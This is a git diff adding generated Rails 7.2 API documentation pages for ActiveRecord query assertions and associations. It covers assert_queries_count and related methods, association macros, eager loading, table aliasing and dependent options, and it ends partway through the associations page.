diff --git a/src/7.2/classes/ActiveRecord/Assertions.html b/src/7.2/classes/ActiveRecord/Assertions.html new file mode 100644 index 0000000000..a4e60fb98b --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Assertions.html @@ -0,0 +1,67 @@ +--- +title: ActiveRecord::Assertions +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Assertions/QueryAssertions.html b/src/7.2/classes/ActiveRecord/Assertions/QueryAssertions.html new file mode 100644 index 0000000000..db9d94c844 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Assertions/QueryAssertions.html @@ -0,0 +1,285 @@ +--- +title: ActiveRecord::Assertions::QueryAssertions +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + assert_no_queries(include_schema: false, &block) + +

+ + +
+

Asserts that no SQL queries are executed in the given block.

+ +
assert_no_queries { post.comments }
+
+ +

If the :include_schema option is provided, any queries (including schema related) are counted.

+ +
assert_no_queries(include_schema: true) { Post.columns }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/testing/query_assertions.rb, line 42
+      def assert_no_queries(include_schema: false, &block)
+        assert_queries_count(0, include_schema: include_schema, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_no_queries_match(match, include_schema: false, &block) + +

+ + +
+

Asserts that no SQL queries matching the pattern are executed in the given block.

+ +
assert_no_queries_match(/SELECT/i) { post.comments }
+
+ +

If the :include_schema option is provided, any queries (including schema related) that match the matcher are counted.

+ +
assert_no_queries_match(/FROM pg_attribute/i, include_schema: true) { Post.columns }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/testing/query_assertions.rb, line 87
+      def assert_no_queries_match(match, include_schema: false, &block)
+        assert_queries_match(match, count: 0, include_schema: include_schema, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_queries_count(count = nil, include_schema: false, &block) + +

+ + +
+

Asserts that the number of SQL queries executed in the given block matches the expected count.

+ +
# Check for exact number of queries
+assert_queries_count(1) { Post.first }
+
+# Check for any number of queries
+assert_queries_count { Post.first }
+
+ +

If the :include_schema option is provided, any queries (including schema related) are counted.

+ +
assert_queries_count(1, include_schema: true) { Post.columns }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/testing/query_assertions.rb, line 18
+      def assert_queries_count(count = nil, include_schema: false, &block)
+        ActiveRecord::Base.lease_connection.materialize_transactions
+
+        counter = SQLCounter.new
+        ActiveSupport::Notifications.subscribed(counter, "sql.active_record") do
+          result = _assert_nothing_raised_or_warn("assert_queries_count", &block)
+          queries = include_schema ? counter.log_all : counter.log
+          if count
+            assert_equal count, queries.size, "#{queries.size} instead of #{count} queries were executed. Queries: #{queries.join("\n\n")}"
+          else
+            assert_operator queries.size, :>=, 1, "1 or more queries expected, but none were executed.#{queries.empty? ? '' : "\nQueries:\n#{queries.join("\n")}"}"
+          end
+          result
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_queries_match(match, count: nil, include_schema: false, &block) + +

+ + +
+

Asserts that the SQL queries executed in the given block match expected pattern.

+ +
# Check for exact number of queries
+assert_queries_match(/LIMIT \?/, count: 1) { Post.first }
+
+# Check for any number of queries
+assert_queries_match(/LIMIT \?/) { Post.first }
+
+ +

If the :include_schema option is provided, any queries (including schema related) that match the matcher are considered.

+ +
assert_queries_match(/FROM pg_attribute/i, include_schema: true) { Post.columns }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/testing/query_assertions.rb, line 59
+      def assert_queries_match(match, count: nil, include_schema: false, &block)
+        ActiveRecord::Base.lease_connection.materialize_transactions
+
+        counter = SQLCounter.new
+        ActiveSupport::Notifications.subscribed(counter, "sql.active_record") do
+          result = _assert_nothing_raised_or_warn("assert_queries_match", &block)
+          queries = include_schema ? counter.log_all : counter.log
+          matched_queries = queries.select { |query| match === query }
+
+          if count
+            assert_equal count, matched_queries.size, "#{matched_queries.size} instead of #{count} queries were executed.#{queries.empty? ? '' : "\nQueries:\n#{queries.join("\n")}"}"
+          else
+            assert_operator matched_queries.size, :>=, 1, "1 or more queries expected, but none were executed.#{queries.empty? ? '' : "\nQueries:\n#{queries.join("\n")}"}"
+          end
+
+          result
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AssociationTypeMismatch.html b/src/7.2/classes/ActiveRecord/AssociationTypeMismatch.html new file mode 100644 index 0000000000..6bddb14bc4 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AssociationTypeMismatch.html @@ -0,0 +1,78 @@ +--- +title: ActiveRecord::AssociationTypeMismatch +layout: default +--- +
+ +
+
+ +
+ +

Raised when an object assigned to an association has an incorrect type.

+ +
class Ticket < ActiveRecord::Base
+  has_many :patches
+end
+
+class Patch < ActiveRecord::Base
+  belongs_to :ticket
+end
+
+# Comments are not patches, this assignment raises AssociationTypeMismatch.
+@ticket.patches << Comment.new(content: "Please attach tests to your patch.")
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Associations.html b/src/7.2/classes/ActiveRecord/Associations.html new file mode 100644 index 0000000000..6f8d575001 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Associations.html @@ -0,0 +1,150 @@ +--- +title: ActiveRecord::Associations +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Associations/ClassMethods.html b/src/7.2/classes/ActiveRecord/Associations/ClassMethods.html new file mode 100644 index 0000000000..b2d74c48a4 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Associations/ClassMethods.html @@ -0,0 +1,1753 @@ +--- +title: ActiveRecord::Associations::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

Active Record Associations

+ +

Associations are a set of macro-like class methods for tying objects together through foreign keys. They express relationships like β€œProject has one Project Manager” or β€œProject belongs to a Portfolio”. Each macro adds a number of methods to the class which are specialized according to the collection or association symbol and the options hash. It works much the same way as Ruby’s own attr* methods.

+ +
class Project < ActiveRecord::Base
+  belongs_to              :portfolio
+  has_one                 :project_manager
+  has_many                :milestones
+  has_and_belongs_to_many :categories
+end
+
+ +

The project class now has the following methods (and more) to ease the traversal and manipulation of its relationships:

+ +
project = Project.first
+project.portfolio
+project.portfolio = Portfolio.first
+project.reload_portfolio
+
+project.project_manager
+project.project_manager = ProjectManager.first
+project.reload_project_manager
+
+project.milestones.empty?
+project.milestones.size
+project.milestones
+project.milestones << Milestone.first
+project.milestones.delete(Milestone.first)
+project.milestones.destroy(Milestone.first)
+project.milestones.find(Milestone.first.id)
+project.milestones.build
+project.milestones.create
+
+project.categories.empty?
+project.categories.size
+project.categories
+project.categories << Category.first
+project.categories.delete(category1)
+project.categories.destroy(category1)
+
+ +

A word of warning

+ +

Don’t create associations that have the same name as instance methods of ActiveRecord::Base. Since the association adds a method with that name to its model, using an association with the same name as one provided by ActiveRecord::Base will override the method inherited through ActiveRecord::Base and will break things. For instance, attributes and connection would be bad choices for association names, because those names already exist in the list of ActiveRecord::Base instance methods.

+ +

Auto-generated methods

+ +

See also β€œInstance Public methods” below ( from belongs_to ) for more details.

+ +

Singular associations (one-to-one)

+ +
                                  |            |  belongs_to  |
+generated methods                 | belongs_to | :polymorphic | has_one
+----------------------------------+------------+--------------+---------
+other                             |     X      |      X       |    X
+other=(other)                     |     X      |      X       |    X
+build_other(attributes={})        |     X      |              |    X
+create_other(attributes={})       |     X      |              |    X
+create_other!(attributes={})      |     X      |              |    X
+reload_other                      |     X      |      X       |    X
+other_changed?                    |     X      |      X       |
+other_previously_changed?         |     X      |      X       |
+
+ +

Collection associations (one-to-many / many-to-many)

+ +
                                  |       |          | has_many
+generated methods                 | habtm | has_many | :through
+----------------------------------+-------+----------+----------
+others                            |   X   |    X     |    X
+others=(other,other,...)          |   X   |    X     |    X
+other_ids                         |   X   |    X     |    X
+other_ids=(id,id,...)             |   X   |    X     |    X
+others<<                          |   X   |    X     |    X
+others.push                       |   X   |    X     |    X
+others.concat                     |   X   |    X     |    X
+others.build(attributes={})       |   X   |    X     |    X
+others.create(attributes={})      |   X   |    X     |    X
+others.create!(attributes={})     |   X   |    X     |    X
+others.size                       |   X   |    X     |    X
+others.length                     |   X   |    X     |    X
+others.count                      |   X   |    X     |    X
+others.sum(*args)                 |   X   |    X     |    X
+others.empty?                     |   X   |    X     |    X
+others.clear                      |   X   |    X     |    X
+others.delete(other,other,...)    |   X   |    X     |    X
+others.delete_all                 |   X   |    X     |    X
+others.destroy(other,other,...)   |   X   |    X     |    X
+others.destroy_all                |   X   |    X     |    X
+others.find(*args)                |   X   |    X     |    X
+others.exists?                    |   X   |    X     |    X
+others.distinct                   |   X   |    X     |    X
+others.reset                      |   X   |    X     |    X
+others.reload                     |   X   |    X     |    X
+
+ +

Overriding generated methods

+ +

Association methods are generated in a module included into the model class, making overrides easy. The original generated method can thus be called with super:

+ +
class Car < ActiveRecord::Base
+  belongs_to :owner
+  belongs_to :old_owner
+
+  def owner=(new_owner)
+    self.old_owner = self.owner
+    super
+  end
+end
+
+ +

The association methods module is included immediately after the generated attributes methods module, meaning an association will override the methods for an attribute with the same name.

+ +

Cardinality and associations

+ +

Active Record associations can be used to describe one-to-one, one-to-many, and many-to-many relationships between models. Each model uses an association to describe its role in the relation. The belongs_to association is always used in the model that has the foreign key.

+ +

One-to-one

+ +

Use has_one in the base, and belongs_to in the associated model.

+ +
class Employee < ActiveRecord::Base
+  has_one :office
+end
+class Office < ActiveRecord::Base
+  belongs_to :employee    # foreign key - employee_id
+end
+
+ +

One-to-many

+ +

Use has_many in the base, and belongs_to in the associated model.

+ +
class Manager < ActiveRecord::Base
+  has_many :employees
+end
+class Employee < ActiveRecord::Base
+  belongs_to :manager     # foreign key - manager_id
+end
+
+ +

Many-to-many

+ +

There are two ways to build a many-to-many relationship.

+ +

The first way uses a has_many association with the :through option and a join model, so there are two stages of associations.

+ +
class Assignment < ActiveRecord::Base
+  belongs_to :programmer  # foreign key - programmer_id
+  belongs_to :project     # foreign key - project_id
+end
+class Programmer < ActiveRecord::Base
+  has_many :assignments
+  has_many :projects, through: :assignments
+end
+class Project < ActiveRecord::Base
+  has_many :assignments
+  has_many :programmers, through: :assignments
+end
+
+ +

For the second way, use has_and_belongs_to_many in both models. This requires a join table that has no corresponding model or primary key.

+ +
class Programmer < ActiveRecord::Base
+  has_and_belongs_to_many :projects       # foreign keys in the join table
+end
+class Project < ActiveRecord::Base
+  has_and_belongs_to_many :programmers    # foreign keys in the join table
+end
+
+ +

Choosing which way to build a many-to-many relationship is not always simple. If you need to work with the relationship model as its own entity, use has_many :through. Use has_and_belongs_to_many when working with legacy schemas or when you never work directly with the relationship itself.

+ +

Is it a belongs_to or has_one association?

+ +

Both express a 1-1 relationship. The difference is mostly where to place the foreign key, which goes on the table for the class declaring the belongs_to relationship.

+ +
class User < ActiveRecord::Base
+  # I reference an account.
+  belongs_to :account
+end
+
+class Account < ActiveRecord::Base
+  # One user references me.
+  has_one :user
+end
+
+ +

The tables for these classes could look something like:

+ +
CREATE TABLE users (
+  id bigint NOT NULL auto_increment,
+  account_id bigint default NULL,
+  name varchar default NULL,
+  PRIMARY KEY  (id)
+)
+
+CREATE TABLE accounts (
+  id bigint NOT NULL auto_increment,
+  name varchar default NULL,
+  PRIMARY KEY  (id)
+)
+
+ +

Unsaved objects and associations

+ +

You can manipulate objects and associations before they are saved to the database, but there is some special behavior you should be aware of, mostly involving the saving of associated objects.

+ +

You can set the :autosave option on a has_one, belongs_to, has_many, or has_and_belongs_to_many association. Setting it to true will always save the members, whereas setting it to false will never save the members. More details about :autosave option is available at AutosaveAssociation.

+ +

One-to-one associations

+
  • +

    Assigning an object to a has_one association automatically saves that object and the object being replaced (if there is one), in order to update their foreign keys - except if the parent object is unsaved (new_record? == true).

    +
  • +

    If either of these saves fail (due to one of the objects being invalid), an ActiveRecord::RecordNotSaved exception is raised and the assignment is cancelled.

    +
  • +

    If you wish to assign an object to a has_one association without saving it, use the #build_association method (documented below). The object being replaced will still be saved to update its foreign key.

    +
  • +

    Assigning an object to a belongs_to association does not save the object, since the foreign key field belongs on the parent. It does not save the parent either.

    +
+ +

Collections

+
  • +

    Adding an object to a collection (has_many or has_and_belongs_to_many) automatically saves that object, except if the parent object (the owner of the collection) is not yet stored in the database.

    +
  • +

    If saving any of the objects being added to a collection (via push or similar) fails, then push returns false.

    +
  • +

    If saving fails while replacing the collection (via association=), an ActiveRecord::RecordNotSaved exception is raised and the assignment is cancelled.

    +
  • +

    You can add an object to a collection without automatically saving it by using the collection.build method (documented below).

    +
  • +

    All unsaved (new_record? == true) members of the collection are automatically saved when the parent is saved.

    +
+ +

Customizing the query

+ +

Associations are built from Relation objects, and you can use the Relation syntax to customize them. For example, to add a condition:

+ +
class Blog < ActiveRecord::Base
+  has_many :published_posts, -> { where(published: true) }, class_name: 'Post'
+end
+
+ +

Inside the -> { ... } block you can use all of the usual Relation methods.

+ +

Accessing the owner object

+ +

Sometimes it is useful to have access to the owner object when building the query. The owner is passed as a parameter to the block. For example, the following association would find all events that occur on the user’s birthday:

+ +
class User < ActiveRecord::Base
+  has_many :birthday_events, ->(user) { where(starts_on: user.birthday) }, class_name: 'Event'
+end
+
+ +

Note: Joining or eager loading such associations is not possible because those operations happen before instance creation. Such associations can be preloaded, but doing so will perform N+1 queries because there will be a different scope for each record (similar to preloading polymorphic scopes).

+ +

Association callbacks

+ +

Similar to the normal callbacks that hook into the life cycle of an Active Record object, you can also define callbacks that get triggered when you add an object to or remove an object from an association collection.

+ +
class Firm < ActiveRecord::Base
+  has_many :clients,
+           dependent: :destroy,
+           after_add: :congratulate_client,
+           after_remove: :log_after_remove
+
+  def congratulate_client(record)
+    # ...
+  end
+
+  def log_after_remove(record)
+    # ...
+  end
+end
+
+ +

It’s possible to stack callbacks by passing them as an array. Example:

+ +
class Firm < ActiveRecord::Base
+  has_many :clients,
+           dependent: :destroy,
+           after_add: [:congratulate_client, -> (firm, record) { firm.log << "after_adding#{record.id}" }],
+           after_remove: :log_after_remove
+end
+
+ +

Possible callbacks are: before_add, after_add, before_remove, and after_remove.

+ +

If any of the before_add callbacks throw an exception, the object will not be added to the collection.

+ +

Similarly, if any of the before_remove callbacks throw an exception, the object will not be removed from the collection.

+ +

Note: To trigger remove callbacks, you must use destroy / destroy_all methods. For example:

+
  • +

    firm.clients.destroy(client)

    +
  • +

    firm.clients.destroy(*clients)

    +
  • +

    firm.clients.destroy_all

    +
+ +

delete / delete_all methods like the following do not trigger remove callbacks:

+
  • +

    firm.clients.delete(client)

    +
  • +

    firm.clients.delete(*clients)

    +
  • +

    firm.clients.delete_all

    +
+ +

Association extensions

+ +

The proxy objects that control the access to associations can be extended through anonymous modules. This is especially beneficial for adding new finders, creators, and other factory-type methods that are only used as part of this association.

+ +
class Account < ActiveRecord::Base
+  has_many :people do
+    def find_or_create_by_name(name)
+      first_name, last_name = name.split(" ", 2)
+      find_or_create_by(first_name: first_name, last_name: last_name)
+    end
+  end
+end
+
+person = Account.first.people.find_or_create_by_name("David Heinemeier Hansson")
+person.first_name # => "David"
+person.last_name  # => "Heinemeier Hansson"
+
+ +

If you need to share the same extensions between many associations, you can use a named extension module.

+ +
module FindOrCreateByNameExtension
+  def find_or_create_by_name(name)
+    first_name, last_name = name.split(" ", 2)
+    find_or_create_by(first_name: first_name, last_name: last_name)
+  end
+end
+
+class Account < ActiveRecord::Base
+  has_many :people, -> { extending FindOrCreateByNameExtension }
+end
+
+class Company < ActiveRecord::Base
+  has_many :people, -> { extending FindOrCreateByNameExtension }
+end
+
+ +

Some extensions can only be made to work with knowledge of the association’s internals. Extensions can access relevant state using the following methods (where items is the name of the association):

+
  • +

    record.association(:items).owner - Returns the object the association is part of.

    +
  • +

    record.association(:items).reflection - Returns the reflection object that describes the association.

    +
  • +

    record.association(:items).target - Returns the associated object for belongs_to and has_one, or the collection of associated objects for has_many and has_and_belongs_to_many.

    +
+ +

However, inside the actual extension code, you will not have access to the record as above. In this case, you can access proxy_association. For example, record.association(:items) and record.items.proxy_association will return the same object, allowing you to make calls like proxy_association.owner inside association extensions.

+ +

Association Join Models

+ +

Has Many associations can be configured with the :through option to use an explicit join model to retrieve the data. This operates similarly to a has_and_belongs_to_many association. The advantage is that you’re able to add validations, callbacks, and extra attributes on the join model. Consider the following schema:

+ +
class Author < ActiveRecord::Base
+  has_many :authorships
+  has_many :books, through: :authorships
+end
+
+class Authorship < ActiveRecord::Base
+  belongs_to :author
+  belongs_to :book
+end
+
+@author = Author.first
+@author.authorships.collect { |a| a.book } # selects all books that the author's authorships belong to
+@author.books                              # selects all books by using the Authorship join model
+
+ +

You can also go through a has_many association on the join model:

+ +
class Firm < ActiveRecord::Base
+  has_many   :clients
+  has_many   :invoices, through: :clients
+end
+
+class Client < ActiveRecord::Base
+  belongs_to :firm
+  has_many   :invoices
+end
+
+class Invoice < ActiveRecord::Base
+  belongs_to :client
+end
+
+@firm = Firm.first
+@firm.clients.flat_map { |c| c.invoices } # select all invoices for all clients of the firm
+@firm.invoices                            # selects all invoices by going through the Client join model
+
+ +

Similarly you can go through a has_one association on the join model:

+ +
class Group < ActiveRecord::Base
+  has_many   :users
+  has_many   :avatars, through: :users
+end
+
+class User < ActiveRecord::Base
+  belongs_to :group
+  has_one    :avatar
+end
+
+class Avatar < ActiveRecord::Base
+  belongs_to :user
+end
+
+@group = Group.first
+@group.users.collect { |u| u.avatar }.compact # select all avatars for all users in the group
+@group.avatars                                # selects all avatars by going through the User join model.
+
+ +

An important caveat with going through has_one or has_many associations on the join model is that these associations are read-only. For example, the following would not work following the previous example:

+ +
@group.avatars << Avatar.new   # this would work if User belonged_to Avatar rather than the other way around
+@group.avatars.delete(@group.avatars.last)  # so would this
+
+ +

Setting Inverses

+ +

If you are using a belongs_to on the join model, it is a good idea to set the :inverse_of option on the belongs_to, which will mean that the following example works correctly (where tags is a has_many :through association):

+ +
@post = Post.first
+@tag = @post.tags.build name: "ruby"
+@tag.save
+
+ +

The last line ought to save the through record (a Tagging). This will only work if the :inverse_of is set:

+ +
class Tagging < ActiveRecord::Base
+  belongs_to :post
+  belongs_to :tag, inverse_of: :taggings
+end
+
+ +

If you do not set the :inverse_of record, the association will do its best to match itself up with the correct inverse. Automatic inverse detection only works on has_many, has_one, and belongs_to associations.

+ +

:foreign_key and :through options on the associations will also prevent the association’s inverse from being found automatically, as will a custom scopes in some cases. See further details in the Active Record Associations guide.

+ +

The automatic guessing of the inverse association uses a heuristic based on the name of the class, so it may not work for all associations, especially the ones with non-standard names.

+ +

You can turn off the automatic detection of inverse associations by setting the :inverse_of option to false like so:

+ +
class Tagging < ActiveRecord::Base
+  belongs_to :tag, inverse_of: false
+end
+
+ +

Nested Associations

+ +

You can actually specify any association with the :through option, including an association which has a :through option itself. For example:

+ +
class Author < ActiveRecord::Base
+  has_many :posts
+  has_many :comments, through: :posts
+  has_many :commenters, through: :comments
+end
+
+class Post < ActiveRecord::Base
+  has_many :comments
+end
+
+class Comment < ActiveRecord::Base
+  belongs_to :commenter
+end
+
+@author = Author.first
+@author.commenters # => People who commented on posts written by the author
+
+ +

An equivalent way of setting up this association this would be:

+ +
class Author < ActiveRecord::Base
+  has_many :posts
+  has_many :commenters, through: :posts
+end
+
+class Post < ActiveRecord::Base
+  has_many :comments
+  has_many :commenters, through: :comments
+end
+
+class Comment < ActiveRecord::Base
+  belongs_to :commenter
+end
+
+ +

When using a nested association, you will not be able to modify the association because there is not enough information to know what modification to make. For example, if you tried to add a Commenter in the example above, there would be no way to tell how to set up the intermediate Post and Comment objects.

+ +

Polymorphic Associations

+ +

Polymorphic associations on models are not restricted on what types of models they can be associated with. Rather, they specify an interface that a has_many association must adhere to.

+ +
class Asset < ActiveRecord::Base
+  belongs_to :attachable, polymorphic: true
+end
+
+class Post < ActiveRecord::Base
+  has_many :assets, as: :attachable         # The :as option specifies the polymorphic interface to use.
+end
+
+@asset.attachable = @post
+
+ +

This works by using a type column in addition to a foreign key to specify the associated record. In the Asset example, you’d need an attachable_id integer column and an attachable_type string column.

+ +

Using polymorphic associations in combination with single table inheritance (STI) is a little tricky. In order for the associations to work as expected, ensure that you store the base model for the STI models in the type column of the polymorphic association. To continue with the asset example above, suppose there are guest posts and member posts that use the posts table for STI. In this case, there must be a type column in the posts table.

+ +

Note: The attachable_type= method is being called when assigning an attachable. The class_name of the attachable is passed as a String.

+ +
class Asset < ActiveRecord::Base
+  belongs_to :attachable, polymorphic: true
+
+  def attachable_type=(class_name)
+     super(class_name.constantize.base_class.to_s)
+  end
+end
+
+class Post < ActiveRecord::Base
+  # because we store "Post" in attachable_type now dependent: :destroy will work
+  has_many :assets, as: :attachable, dependent: :destroy
+end
+
+class GuestPost < Post
+end
+
+class MemberPost < Post
+end
+
+ +

Caching

+ +

All of the methods are built on a simple caching principle that will keep the result of the last query around unless specifically instructed not to. The cache is even shared across methods to make it even cheaper to use the macro-added methods without worrying too much about performance at the first go.

+ +
project.milestones             # fetches milestones from the database
+project.milestones.size        # uses the milestone cache
+project.milestones.empty?      # uses the milestone cache
+project.milestones.reload.size # fetches milestones from the database
+project.milestones             # uses the milestone cache
+
+ +

Eager loading of associations

+ +

Eager loading is a way to find objects of a certain class and a number of named associations. It is one of the easiest ways to prevent the dreaded N+1 problem in which fetching 100 posts that each need to display their author triggers 101 database queries. Through the use of eager loading, the number of queries will be reduced from 101 to 2.

+ +
class Post < ActiveRecord::Base
+  belongs_to :author
+  has_many   :comments
+end
+
+ +

Consider the following loop using the class above:

+ +
Post.all.each do |post|
+  puts "Post:            " + post.title
+  puts "Written by:      " + post.author.name
+  puts "Last comment on: " + post.comments.first.created_on
+end
+
+ +

To iterate over these one hundred posts, we’ll generate 201 database queries. Let’s first just optimize it for retrieving the author:

+ +
Post.includes(:author).each do |post|
+
+ +

This references the name of the belongs_to association that also used the :author symbol. After loading the posts, find will collect the author_id from each one and load all of the referenced authors with one query. Doing so will cut down the number of queries from 201 to 102.

+ +

We can improve upon the situation further by referencing both associations in the finder with:

+ +
Post.includes(:author, :comments).each do |post|
+
+ +

This will load all comments with a single query. This reduces the total number of queries to 3. In general, the number of queries will be 1 plus the number of associations named (except if some of the associations are polymorphic belongs_to - see below).

+ +

To include a deep hierarchy of associations, use a hash:

+ +
Post.includes(:author, { comments: { author: :gravatar } }).each do |post|
+
+ +

The above code will load all the comments and all of their associated authors and gravatars. You can mix and match any combination of symbols, arrays, and hashes to retrieve the associations you want to load.

+ +

All of this power shouldn’t fool you into thinking that you can pull out huge amounts of data with no performance penalty just because you’ve reduced the number of queries. The database still needs to send all the data to Active Record and it still needs to be processed. So it’s no catch-all for performance problems, but it’s a great way to cut down on the number of queries in a situation as the one described above.

+ +

Since only one table is loaded at a time, conditions or orders cannot reference tables other than the main one. If this is the case, Active Record falls back to the previously used LEFT OUTER JOIN based strategy. For example:

+ +
Post.includes([:author, :comments]).where(['comments.approved = ?', true])
+
+ +

This will result in a single SQL query with joins along the lines of: LEFT OUTER JOIN comments ON comments.post_id = posts.id and LEFT OUTER JOIN authors ON authors.id = posts.author_id. Note that using conditions like this can have unintended consequences. In the above example, posts with no approved comments are not returned at all because the conditions apply to the SQL statement as a whole and not just to the association.

+ +

You must disambiguate column references for this fallback to happen, for example order: "author.name DESC" will work but order: "name DESC" will not.

+ +

If you want to load all posts (including posts with no approved comments), then write your own LEFT OUTER JOIN query using ON:

+ +
Post.joins("LEFT OUTER JOIN comments ON comments.post_id = posts.id AND comments.approved = '1'")
+
+ +

In this case, it is usually more natural to include an association which has conditions defined on it:

+ +
class Post < ActiveRecord::Base
+  has_many :approved_comments, -> { where(approved: true) }, class_name: 'Comment'
+end
+
+Post.includes(:approved_comments)
+
+ +

This will load posts and eager load the approved_comments association, which contains only those comments that have been approved.

+ +

If you eager load an association with a specified :limit option, it will be ignored, returning all the associated objects:

+ +
class Picture < ActiveRecord::Base
+  has_many :most_recent_comments, -> { order('id DESC').limit(10) }, class_name: 'Comment'
+end
+
+Picture.includes(:most_recent_comments).first.most_recent_comments # => returns all associated comments.
+
+ +

Eager loading is supported with polymorphic associations.

+ +
class Address < ActiveRecord::Base
+  belongs_to :addressable, polymorphic: true
+end
+
+ +

A call that tries to eager load the addressable model

+ +
Address.includes(:addressable)
+
+ +

This will execute one query to load the addresses and load the addressables with one query per addressable type. For example, if all the addressables are either of class Person or Company, then a total of 3 queries will be executed. The list of addressable types to load is determined on the back of the addresses loaded. This is not supported if Active Record has to fall back to the previous implementation of eager loading and will raise ActiveRecord::EagerLoadPolymorphicError. The reason is that the parent model’s type is a column value so its corresponding table name cannot be put in the FROM/JOIN clauses of that query.

+ +

Table Aliasing

+ +

Active Record uses table aliasing in the case that a table is referenced multiple times in a join. If a table is referenced only once, the standard table name is used. The second time, the table is aliased as #{reflection_name}_#{parent_table_name}. Indexes are appended for any more successive uses of the table name.

+ +
Post.joins(:comments)
+# SELECT ... FROM posts INNER JOIN comments ON ...
+Post.joins(:special_comments) # STI
+# SELECT ... FROM posts INNER JOIN comments ON ... AND comments.type = 'SpecialComment'
+Post.joins(:comments, :special_comments) # special_comments is the reflection name, posts is the parent table name
+# SELECT ... FROM posts INNER JOIN comments ON ... INNER JOIN comments special_comments_posts
+
+ +

Acts as tree example:

+ +
TreeMixin.joins(:children)
+# SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+TreeMixin.joins(children: :parent)
+# SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+#                        INNER JOIN parents_mixins ...
+TreeMixin.joins(children: {parent: :children})
+# SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
+#                        INNER JOIN parents_mixins ...
+#                        INNER JOIN mixins childrens_mixins_2
+
+ +

Has and Belongs to Many join tables use the same idea, but add a _join suffix:

+ +
Post.joins(:categories)
+# SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+Post.joins(categories: :posts)
+# SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+#                       INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
+Post.joins(categories: {posts: :categories})
+# SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
+#                       INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
+#                       INNER JOIN categories_posts categories_posts_join INNER JOIN categories categories_posts_2
+
+ +

If you wish to specify your own custom joins using ActiveRecord::QueryMethods#joins method, those table names will take precedence over the eager associations:

+ +
Post.joins(:comments).joins("inner join comments ...")
+# SELECT ... FROM posts INNER JOIN comments_posts ON ... INNER JOIN comments ...
+Post.joins(:comments, :special_comments).joins("inner join comments ...")
+# SELECT ... FROM posts INNER JOIN comments comments_posts ON ...
+#                       INNER JOIN comments special_comments_posts ...
+#                       INNER JOIN comments ...
+
+ +

Table aliases are automatically truncated according to the maximum length of table identifiers according to the specific database.

+ +

Modules

+ +

By default, associations will look for objects within the current module scope. Consider:

+ +
module MyApplication
+  module Business
+    class Firm < ActiveRecord::Base
+      has_many :clients
+    end
+
+    class Client < ActiveRecord::Base; end
+  end
+end
+
+ +

When Firm#clients is called, it will in turn call MyApplication::Business::Client.find_all_by_firm_id(firm.id). If you want to associate with a class in another module scope, this can be done by specifying the complete class name.

+ +
module MyApplication
+  module Business
+    class Firm < ActiveRecord::Base; end
+  end
+
+  module Billing
+    class Account < ActiveRecord::Base
+      belongs_to :firm, class_name: "MyApplication::Business::Firm"
+    end
+  end
+end
+
+ +

Bi-directional associations

+ +

When you specify an association, there is usually an association on the associated model that specifies the same relationship in reverse. For example, with the following models:

+ +
class Dungeon < ActiveRecord::Base
+  has_many :traps
+  has_one :evil_wizard
+end
+
+class Trap < ActiveRecord::Base
+  belongs_to :dungeon
+end
+
+class EvilWizard < ActiveRecord::Base
+  belongs_to :dungeon
+end
+
+ +

The traps association on Dungeon and the dungeon association on Trap are the inverse of each other, and the inverse of the dungeon association on EvilWizard is the evil_wizard association on Dungeon (and vice-versa). By default, Active Record can guess the inverse of the association based on the name of the class. The result is the following:

+ +
d = Dungeon.first
+t = d.traps.first
+d.object_id == t.dungeon.object_id # => true
+
+ +

The Dungeon instances d and t.dungeon in the above example refer to the same in-memory instance since the association matches the name of the class. The result would be the same if we added :inverse_of to our model definitions:

+ +
class Dungeon < ActiveRecord::Base
+  has_many :traps, inverse_of: :dungeon
+  has_one :evil_wizard, inverse_of: :dungeon
+end
+
+class Trap < ActiveRecord::Base
+  belongs_to :dungeon, inverse_of: :traps
+end
+
+class EvilWizard < ActiveRecord::Base
+  belongs_to :dungeon, inverse_of: :evil_wizard
+end
+
+ +

For more information, see the documentation for the :inverse_of option and the Active Record Associations guide.

+ +

Deleting from associations

+ +

Dependent associations

+ +

has_many, has_one, and belongs_to associations support the :dependent option. This allows you to specify that associated records should be deleted when the owner is deleted.

+ +

For example:

+ +
class Author
+  has_many :posts, dependent: :destroy
+end
+Author.find(1).destroy # => Will destroy all of the author's posts, too
+
+ +

The :dependent option can have different values which specify how the deletion is done. For more information, see the documentation for this option on the different specific association types. When no option is given, the behavior is to do nothing with the associated records when destroying a record.

+ +

